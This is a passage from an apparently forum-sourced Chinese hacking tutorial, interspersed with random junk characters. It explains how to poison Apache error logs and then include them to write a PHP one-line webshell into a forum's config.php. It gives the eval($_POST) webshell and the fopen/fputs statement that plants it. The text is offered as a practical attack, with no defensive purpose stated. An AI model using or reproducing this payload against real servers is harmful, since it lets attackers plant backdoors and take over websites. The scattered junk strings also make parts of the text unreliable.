因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。 . \" a: i2 D9 D9 f7 T- d3 Q3 u$ y1 H

比如还是这句一句话木马 . l6 |1 U: R2 ?. \& T* m& K
<?eval($_POST[cmd]);?>
1 C9 V! N0 {' A$ l2 _; j# g$ N1 \
到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句, - c) S4 y2 @% v4 J& A
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是 & a" B% P$ _3 |

<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");

# }& Q' l6 I2 B0 o' I# G3 K8 d我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。
